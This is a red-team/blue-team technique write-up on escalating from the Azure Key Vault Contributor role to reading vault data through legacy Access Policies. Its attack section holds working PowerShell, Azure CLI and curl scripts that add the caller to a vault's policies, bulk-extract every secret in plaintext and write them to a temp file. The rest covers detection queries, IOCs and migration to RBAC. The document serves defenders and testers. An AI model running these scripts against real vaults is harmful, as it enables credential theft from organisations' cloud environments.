| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-011 |
| MITRE ATT&CK v18.1 | T1552.007 - Unsecured Credentials: Container API (mapped as cloud secrets management access via misconfigured policies) |
| Tactic | Credential Access |
| Platforms | Entra ID (Azure Cloud) |
| Severity | Critical |
| CVE | N/A (Note: CVE-2023-28432 is MinIO, not Azure KV. This technique exploits management plane permission escalation to data plane, disclosed by Datadog Dec 2024, confirmed by Microsoft MSRC as “design behavior”) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | All Azure Key Vault deployments using legacy Access Policies model (cloud-agnostic), PowerShell 5.0+, Azure CLI 2.0+ |
| Patched In | N/A - Microsoft confirmed (Nov 11, 2024) this is “design behavior” not a vulnerability. Mitigation: Migrate to Azure RBAC permissions model (eliminates this escalation path entirely) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 10 (Sysmon Detection), and 12 (Microsoft Defender for Cloud specific alerts) not included because: (1) No specific Atomic test exists for Key Vault access policy escalation, (2) Sysmon does not monitor cloud activity, (3) MDC alerts are covered in detection section via Sentinel and Azure Monitor. All section numbers have been dynamically renumbered based on applicability.
Concept: Azure Key Vault supports two permission models for controlling access to data (keys, secrets, certificates): Access Policies (legacy, vault-scoped) and Azure RBAC (modern, integrated with subscription/resource group RBAC). Access Policies are a separate authorization system that coexists with Azure RBAC for management plane operations. The vulnerability stems from a permission model mismatch: Users with the Key Vault Contributor RBAC role (intended for vault management only, no data access) can escalate their privileges to extract vault data by directly modifying the vault’s Access Policies. Specifically, the Microsoft.KeyVault/vaults/write permission (held by Key Vault Contributor and other roles like Contributor and Owner) allows modification of Access Policies. An attacker with this permission can add themselves to the vault’s Access Policies with full permissions (Get, List, Create, Delete, Decrypt, Sign, etc.), effectively bypassing RBAC restrictions intended to prevent data access. This escalation is only possible on vaults using the Access Policy model; vaults configured with Azure RBAC are immune.
Attack Surface: Azure Key Vault management plane (modification of accessPolicies property), specifically targeted at vaults using the legacy Access Policy permission model. The attack targets the /vaults/{vault-name}/accessPolicies endpoint or PowerShell cmdlets like Set-AzKeyVaultAccessPolicy.
Business Impact: Complete vault compromise and credential exfiltration. An attacker with Key Vault Contributor role on a resource group containing multiple key vaults can extract all secrets, keys, and certificates from vaults using Access Policies. This is particularly dangerous because organizations often assume the Key Vault Contributor role does NOT grant data access (per Microsoft’s original documentation). Many organizations assign this role broadly to teams managing Azure infrastructure, unaware it enables full vault compromise on legacy deployments. The attack is stealthy: a single access policy modification followed by secret extraction may not trigger alerts if audit logging is disabled or not monitored.
Technical Context: Exploitation is immediate (seconds) once permissions are obtained. Detection likelihood is Medium-to-High if audit logging monitors access policy changes. The attack is reversible only if discovered before secrets are exfiltrated; detection after data access requires credential rotation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1 | Ensure that Azure Key Vault is encrypted - includes RBAC recommendation |
| CIS Benchmark | 2.2 | Ensure that Key Vault uses Azure RBAC authorization, not Access Policies |
| DISA STIG | SI-7 | Information System Monitoring - audit all access policy changes |
| NIST 800-53 | AC-2 | Account Management - control who can modify access policies |
| NIST 800-53 | AC-3 | Access Enforcement - prevent unauthorized policy modifications |
| NIST 800-53 | AC-6 | Least Privilege - Key Vault Contributor should not grant data access |
| GDPR | Art. 32 | Security of Processing - protect cryptographic keys and secrets |
| DORA | Art. 9 | Protection and Prevention - safeguard authorization credentials |
| NIS2 | Art. 21 | Cyber Risk Management - access control and secrets management |
| ISO 27001 | A.9.2 | User Access Management - control access policy modifications |
| ISO 27001 | A.6.2 | Asset Management - protect cryptographic key assets |
Required Privileges:
Microsoft.KeyVault/vaults/write permission)Microsoft.KeyVault/vaults/write permissionImportant Condition: The target Key Vault MUST use Access Policies for authorization, NOT Azure RBAC. (If vault uses RBAC, this escalation is impossible.)
Required Access:
accessPolicies)Supported Versions:
az keyvault set-policy commandTools:
Command 1: Check your current RBAC role on subscriptions and resource groups
# Get current user context
$context = Get-AzContext
Write-Host "Current Account: $($context.Account.Id)"
Write-Host "Subscription: $($context.Subscription.Name)"
# List all role assignments for the user
$roleAssignments = Get-AzRoleAssignment -SignInName $context.Account.Id
Write-Host "`n[*] RBAC Roles assigned to current user:"
foreach ($role in $roleAssignments) {
Write-Host " Role: $($role.RoleDefinitionName) | Scope: $($role.Scope) | ResourceName: $($role.ResourceName)"
# Highlight dangerous roles
if ($role.RoleDefinitionName -in @("Key Vault Contributor", "Contributor", "Owner")) {
Write-Host " [!] WARNING: This role can escalate to Key Vault data access via Access Policies!"
}
}
What to Look For:
Key Vault Contributor, Contributor, or Owner role, you can exploit vaults using Access PoliciesCommand 2: Enumerate Key Vaults and identify their permission model
# Get all Key Vaults
$keyVaults = Get-AzKeyVault
Write-Host "[*] Auditing Key Vaults for permission model..."
$accessPolicyVaults = @()
$rbacVaults = @()
foreach ($vault in $keyVaults) {
Write-Host "`nVault: $($vault.VaultName)"
Write-Host " Resource Group: $($vault.ResourceGroupName)"
Write-Host " Location: $($vault.Location)"
# Check if RBAC is enabled
$vaultDetails = Get-AzKeyVault -VaultName $vault.VaultName -ResourceGroupName $vault.ResourceGroupName
if ($vaultDetails.EnableRbacAuthorization -eq $true) {
Write-Host " Permission Model: [✓] Azure RBAC (SECURE - not vulnerable to this escalation)"
$rbacVaults += $vault.VaultName
} else {
Write-Host " Permission Model: [!] ACCESS POLICIES (VULNERABLE - Can be exploited)"
$accessPolicyVaults += $vault.VaultName
# Show current access policies
Write-Host " Current Access Policies:"
foreach ($policy in $vaultDetails.AccessPolicies) {
Write-Host " - ObjectId: $($policy.ObjectId)"
Write-Host " Permissions: Keys [$($policy.PermissionsToKeys -join ', ')], Secrets [$($policy.PermissionsToSecrets -join ', ')], Certs [$($policy.PermissionsToCertificates -join ', ')]"
}
}
}
Write-Host "`n[SUMMARY]"
Write-Host "Vaults using RBAC (Secure): $($rbacVaults.Count)"
Write-Host "Vaults using Access Policies (Vulnerable): $($accessPolicyVaults.Count)"
if ($accessPolicyVaults.Count -gt 0) {
Write-Host "`n[!] VULNERABLE VAULTS IDENTIFIED:"
$accessPolicyVaults | ForEach-Object { Write-Host " - $_" }
}
What to Look For:
EnableRbacAuthorization = $false are using Access Policies (VULNERABLE)Command 3: Test if you can modify access policies (preliminary exploitation test)
$vaultName = "vulnerable-vault-name" # Change to target vault using Access Policies
$resourceGroupName = "target-rg"
try {
# Try to read current access policies (if this works, you likely can modify them)
$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroupName
if ($vault.EnableRbacAuthorization -eq $false) {
Write-Host "[✓] Vault uses Access Policies (vulnerable model)"
# Try to add yourself to access policies (test modification)
$currentUser = (Get-AzContext).Account.ObjectId
# Note: Don't actually add yourself yet; just test if the command would work
Write-Host "[*] Attempting to modify access policies..."
# This would actually add the policy - for reconnaissance, we'll just show the command
Write-Host " Command to escalate: Set-AzKeyVaultAccessPolicy -VaultName '$vaultName' -ResourceGroupName '$resourceGroupName' -ObjectId '$currentUser' -PermissionsToSecrets Get,List,Set,Delete,Recover,Backup,Restore -PermissionsToKeys Get,List,Decrypt,Encrypt,Sign,Verify"
Write-Host "[!] If you have Key Vault Contributor role, the above command WILL WORK and grant you full access"
} else {
Write-Host "[✓] Vault uses RBAC (NOT vulnerable to this escalation)"
}
} catch {
Write-Host "[✗] Access denied or vault not found: $($_.Exception.Message)"
}
What This Means:
Supported Versions: All Azure Key Vault versions, PowerShell 5.0+
# Connect using user credentials
Connect-AzAccount -Tenant "tenant-id" -Subscription "subscription-id"
# Verify connection
$context = Get-AzContext
Write-Host "Connected as: $($context.Account.Id)"
Write-Host "Subscription: $($context.Subscription.Name)"
# Find a vault using Access Policies (vulnerable)
$vaultName = "target-vault-name"
$resourceGroupName = "target-resource-group"
$targetVault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroupName
if (-not $targetVault) {
Write-Host "[✗] Vault not found"
exit
}
Write-Host "[✓] Found vault: $($targetVault.VaultName)"
Write-Host " Permission Model: $(if ($targetVault.EnableRbacAuthorization) { 'RBAC (not vulnerable)' } else { 'Access Policies (vulnerable)' })"
if ($targetVault.EnableRbacAuthorization -eq $true) {
Write-Host "[✗] This vault uses RBAC, not Access Policies - escalation not possible"
exit
}
Write-Host "[✓] Vault is vulnerable (using Access Policies)"
Objective: Grant yourself (or a compromised principal) full access to all secrets, keys, and certificates.
# Get current user's object ID
$currentUserObjectId = (Get-AzContext).Account.ObjectId
Write-Host "[*] Your ObjectId: $currentUserObjectId"
# Add yourself to the vault's access policies with full permissions
Write-Host "[*] Adding yourself to vault access policies..."
Set-AzKeyVaultAccessPolicy -VaultName $vaultName `
-ResourceGroupName $resourceGroupName `
-ObjectId $currentUserObjectId `
-PermissionsToKeys Get, List, Update, Create, Import, Delete, Decrypt, Sign, Verify, UnwrapKey, WrapKey, Recover, Restore, Purge `
-PermissionsToSecrets Get, List, Set, Delete, Recover, Backup, Restore `
-PermissionsToCertificates Get, List, Delete, Create, Import, Update, ManageContacts, ManageIssuers, GetIssuers, ListIssuers, SetIssuers, DeleteIssuers, Recover, Restore, Purge `
-PassThru
Write-Host "[✓] Access policy modification complete!"
Expected Output:
[*] Your ObjectId: 12345678-1234-1234-1234-123456789012
[*] Adding yourself to vault access policies...
VaultName : vulnerable-vault-name
ResourceGroupName : target-resource-group
Location : eastus
ResourceId : /subscriptions/{sub}/resourceGroups/target-resource-group/providers/Microsoft.KeyVault/vaults/vulnerable-vault-name
Tags : {}
TenantId : abcdefgh-1234-5678-9012-abcdefghijkl
SKU : Standard
AccessPolicies : {...}
EnableRbacAuthorization : False
EnablePurgeProtection : True
EnableSoftDelete : True
[✓] Access policy modification complete!
What This Means:
OpSec & Evasion:
Troubleshooting:
(Get-AzContext).Account.ObjectIdGet-AzRoleAssignmentGet-AzKeyVault ... | Select EnableRbacAuthorizationObjective: Now that you have access policy permissions, retrieve sensitive data.
# List all secrets in the vault
Write-Host "[*] Listing secrets in vault..."
$secrets = Get-AzKeyVaultSecret -VaultName $vaultName
Write-Host "[✓] Found $($secrets.Count) secrets:"
foreach ($secret in $secrets) {
Write-Host " - $($secret.Name)"
}
# Extract a specific secret
$secretName = "api-key" # Change to target secret
Write-Host "`n[*] Extracting secret: $secretName"
try {
$secretValue = Get-AzKeyVaultSecret -VaultName $vaultName -Name $secretName
Write-Host "[✓] Secret extracted:"
Write-Host " Value: $($secretValue.SecretValue | ConvertFrom-SecureString -AsPlainText)"
} catch {
Write-Host "[✗] Failed to extract secret: $($_.Exception.Message)"
}
# Bulk extraction of all secrets
Write-Host "`n[*] Performing bulk extraction..."
$extractedSecrets = @()
foreach ($secret in $secrets) {
try {
$secretValue = Get-AzKeyVaultSecret -VaultName $vaultName -Name $secret.Name
$plainText = $secretValue.SecretValue | ConvertFrom-SecureString -AsPlainText
$extractedSecrets += @{
SecretName = $secret.Name
SecretValue = $plainText
Created = $secret.Created
Expires = $secret.Expires
}
Write-Host " [✓] $($secret.Name)"
} catch {
Write-Host " [✗] $($secret.Name): Access denied"
}
}
# Export to file
$extractedSecrets | ConvertTo-Json | Out-File "$env:TEMP\vault_secrets.json"
Write-Host "[✓] Extracted $($extractedSecrets.Count) secrets"
Write-Host "[✓] Secrets saved to: $env:TEMP\vault_secrets.json"
#!/bin/bash
VAULT_NAME="vulnerable-vault-name"
RESOURCE_GROUP="target-resource-group"
CURRENT_USER_ID=$(az account show --query id -o tsv)
# Add yourself to access policies
echo "[*] Adding your principal to vault access policies..."
az keyvault set-policy \
--name $VAULT_NAME \
--resource-group $RESOURCE_GROUP \
--object-id $CURRENT_USER_ID \
--secret-permissions get list set delete recover backup restore \
--key-permissions get list update create import delete decrypt sign verify unwrapKey wrapKey recover restore purge \
--certificate-permissions get list delete create import update
echo "[✓] Access policy modified"
# List and extract all secrets
echo "[*] Extracting secrets from vault..."
SECRETS=$(az keyvault secret list --vault-name $VAULT_NAME --query "[].name" -o tsv)
for SECRET in $SECRETS; do
echo " [*] Extracting: $SECRET"
SECRET_VALUE=$(az keyvault secret show --vault-name $VAULT_NAME --name $SECRET --query "value" -o tsv)
echo " Value: $SECRET_VALUE"
done
#!/bin/bash
VAULT_NAME="vulnerable-vault-name"
TENANT_ID="your-tenant-id"
CURRENT_USER_ID="your-object-id"
SUBSCRIPTION_ID="your-subscription-id"
RESOURCE_GROUP="target-resource-group"
# Get access token
ACCESS_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
-d "client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&scope=https://management.azure.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Get current access policies
echo "[*] Fetching current access policies..."
CURRENT_POLICIES=$(curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.KeyVault/vaults/${VAULT_NAME}?api-version=2024-04-01" \
| jq '.properties.accessPolicies')
# Create new policy entry for yourself
NEW_POLICY=$(cat <<EOF
{
"tenantId": "${TENANT_ID}",
"objectId": "${CURRENT_USER_ID}",
"permissions": {
"keys": ["get", "list", "update", "create", "import", "delete", "decrypt", "sign", "verify", "unwrapKey", "wrapKey", "recover", "restore", "purge"],
"secrets": ["get", "list", "set", "delete", "recover", "backup", "restore"],
"certificates": ["get", "list", "delete", "create", "import", "update"]
}
}
EOF
)
# Add new policy to existing policies
UPDATED_POLICIES=$(echo "$CURRENT_POLICIES" | jq ". += [$NEW_POLICY]")
# Update the Key Vault with new access policies
echo "[*] Updating access policies..."
curl -s -X PUT -H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.KeyVault/vaults/${VAULT_NAME}?api-version=2024-04-01" \
-d "{\"properties\": {\"accessPolicies\": $UPDATED_POLICIES}}" \
| jq '.properties.accessPolicies'
echo "[✓] Access policy updated"
# Extract secrets via REST API (Vault API v7.4)
echo "[*] Extracting secrets..."
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://${VAULT_NAME}.vault.azure.net/secrets?api-version=7.4" \
| jq '.value[] | .id'
Network IOCs:
https://management.azure.com/, https://{vault-name}.vault.azure.net//accessPolicies, /secrets, /keys, /certificatesAzure-CLI, Azure-PowerShell, curl, custom toolsAudit Log IOCs:
accessPolicies field modified to add new principal with Get/List/Decrypt permissionsForensic Artifacts:
Azure Audit Logs (AuditLogs table):
Key Vault Diagnostic Logs (AzureDiagnostics table):
Sign-in Logs (SigninLogs table):
KQL Query:
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Update vault" or OperationName == "Set access policy"
| where Result == "Success"
| extend VaultName = TargetResources[0].displayName
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| extend ModifiedProperties = TargetResources[0].modifiedProperties
// Filter for access policy modifications
| where ModifiedProperties contains "accessPolicies"
// Identify if initiator is a Contributor-level user (not admin)
| join kind=leftanti (
AuditLogs
| where OperationName == "Add member to role"
| where TargetResources[0].displayName in ("Global Administrator", "Key Vault Data Access Administrator")
| extend AdminUser = InitiatedBy.user.userPrincipalName
| project AdminUser
) on $left.InitiatedByUser == $right.AdminUser
// Alert if Contributor user modified access policies
| project TimeGenerated, InitiatedByUser, VaultName, OperationName, Result
What This Detects:
KQL Query:
// Step 1: Find access policy modifications
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in ("Update vault", "Set access policy")
| where Result == "Success"
| extend VaultName = TargetResources[0].displayName
| extend PolicyModifier = InitiatedBy.user.userPrincipalName
// Step 2: Correlate with secret retrieval within 10 minutes
| join kind=inner (
AzureDiagnostics
| where TimeGenerated > ago(24h)
| where OperationName in ("SecretGet", "SecretList", "KeyGet", "KeyList")
| where resultSignature_s == "OK" // Success
| extend VaultName = ResourceDisplayName
| summarize SecretAccessCount = count() by VaultName, CallerIPAddress, bin(TimeGenerated, 10m)
| where SecretAccessCount > 5 // More than 5 secret accesses in 10 mins = suspicious
) on VaultName
| project TimeGenerated, PolicyModifier, VaultName, SecretAccessCount, CallerIPAddress
KQL Query:
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName in ("Update vault", "Set access policy")
| where Result == "Success"
| extend VaultName = TargetResources[0].displayName
| extend Initiator = InitiatedBy.user.userPrincipalName
| extend InitiatorObjectId = InitiatedBy.user.id
| extend ModifiedProperties = TargetResources[0].modifiedProperties
// Check if the policy grants access to the same user who initiated the change
| where ModifiedProperties contains InitiatorObjectId // User adding themselves
| where ModifiedProperties contains ("Get") and ModifiedProperties contains ("List") // Granting secret access
| project TimeGenerated, Initiator, VaultName, ModifiedProperties
// Hunt for all access policy changes in past 30 days
AuditLogs
| where TimeGenerated > ago(30d)
| where OperationName in ("Update vault", "Set access policy", "Update access policy")
| where Result == "Success"
| extend VaultName = TargetResources[0].displayName
| extend Initiator = InitiatedBy.user.userPrincipalName
| extend Properties = TargetResources[0].modifiedProperties
| where Properties contains "accessPolicies"
| summarize
ModificationCount = count(),
VaultNames = make_set(VaultName),
LastModification = max(TimeGenerated)
by Initiator
| where ModificationCount > 2 // Users modifying multiple vaults
| order by ModificationCount desc
1. Migrate ALL Key Vaults from Access Policies to Azure RBAC model
Manual Steps (Azure Portal):
Manual Steps (PowerShell - Script to migrate all vaults):
$vaults = Get-AzKeyVault
foreach ($vault in $vaults) {
if ($vault.EnableRbacAuthorization -eq $false) {
Write-Host "Migrating: $($vault.VaultName)"
# Enable RBAC on vault
Update-AzKeyVault -VaultName $vault.VaultName `
-ResourceGroupName $vault.ResourceGroupName `
-EnableRbacAuthorizationForDataPlane $true
Write-Host " [✓] RBAC enabled on $($vault.VaultName)"
# Now manually assign RBAC roles to the principals that previously had access policies
# (This step requires manual review of existing access policies)
}
}
Validation Command:
$allVaults = Get-AzKeyVault
$rbacCount = ($allVaults | Where-Object { $_.EnableRbacAuthorization -eq $true } | Measure-Object).Count
$accessPolicyCount = ($allVaults | Where-Object { $_.EnableRbacAuthorization -eq $false } | Measure-Object).Count
Write-Host "[*] Total Vaults: $($allVaults.Count)"
Write-Host "[✓] Using RBAC: $rbacCount"
Write-Host "[!] Still using Access Policies: $accessPolicyCount"
if ($accessPolicyCount -gt 0) {
Write-Host "`n[!] Vaults still using Access Policies (vulnerable):"
$allVaults | Where-Object { $_.EnableRbacAuthorization -eq $false } | ForEach-Object { Write-Host " - $($_.VaultName)" }
}
2. Remove Key Vault Contributor role from non-admin users
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Remove Key Vault Contributor from all users in a resource group
$resourceGroup = "target-resource-group"
$roleAssignments = Get-AzRoleAssignment -ResourceGroupName $resourceGroup `
-RoleDefinitionName "Key Vault Contributor"
foreach ($assignment in $roleAssignments) {
Write-Host "Removing Key Vault Contributor from: $($assignment.DisplayName)"
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId `
-RoleDefinitionName "Key Vault Contributor" `
-ResourceGroupName $resourceGroup -Force
}
3. Implement Conditional Access policy requiring MFA for vault modifications
Manual Steps (Azure Portal):
Require MFA for Key Vault Administrative Operations4. Audit and remove unused Access Policies
Manual Steps:
# List all access policies in all vaults
$vaults = Get-AzKeyVault
foreach ($vault in $vaults) {
if ($vault.EnableRbacAuthorization -eq $false) {
Write-Host "Vault: $($vault.VaultName)"
foreach ($policy in $vault.AccessPolicies) {
# Get the principal name
$principal = Get-AzADUser -ObjectId $policy.ObjectId -ErrorAction SilentlyContinue
if (-not $principal) {
$principal = Get-AzADServicePrincipal -ObjectId $policy.ObjectId -ErrorAction SilentlyContinue
}
Write-Host " Principal: $($principal.DisplayName ?? 'Unknown ($($policy.ObjectId))')"
Write-Host " Permissions: Keys [$($policy.PermissionsToKeys -join ', ')], Secrets [$($policy.PermissionsToSecrets -join ', ')]"
# Check if principal is still active
if (-not $principal) {
Write-Host " [!] WARNING: Principal not found (may be deleted user) - should be removed"
}
}
}
}
5. Use granular RBAC roles instead of broad Access Policies
Recommended role assignments:
| Use Case | RBAC Role | Permissions |
|---|---|---|
| Application reading secrets | Key Vault Secrets User | Get secrets, cannot modify |
| Application decrypting data | Key Vault Crypto User | Decrypt/verify keys, cannot modify |
| Vault administrator | Key Vault Administrator | Full management (create, delete, modify) |
| Auditor reviewing vaults | Key Vault Reader | Read metadata only |
Manual Steps (Azure Portal):
Validation Command (Verify Fix):
# Verify all vaults use RBAC
$vaults = Get-AzKeyVault
$fullyMigrated = $true
foreach ($vault in $vaults) {
if ($vault.EnableRbacAuthorization -eq $false) {
Write-Host "[✗] Vault $($vault.VaultName) still uses Access Policies"
$fullyMigrated = $false
}
}
if ($fullyMigrated) {
Write-Host "[✓] All Key Vaults successfully migrated to Azure RBAC"
} else {
Write-Host "[✗] Migration incomplete - some vaults still use Access Policies"
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent grant OAuth attacks | Attacker obtains user account with Contributor role |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker identifies Key Vault Contributor role assignment |
| 3 | Current Step | [CA-UNSC-011] | Attacker modifies Key Vault access policies to grant data access |
| 4 | Credential Access | [CA-UNSC-009] or [CA-UNSC-010] | Attacker extracts keys, secrets, or certificates from vault |
| 5 | Impact | Custom script | Attacker uses extracted credentials for lateral movement/persistence |
Vulnerability Details:
Attack Scenario:
Detection Failure:
Remediation:
Reference: Datadog Security Labs - Escalating Privileges to Read Secrets with Azure Key Vault Access Policies
Scenario:
Detection Opportunity:
Failure to migrate from Access Policies to RBAC violates:
Organizations must complete this migration to achieve compliance certifications.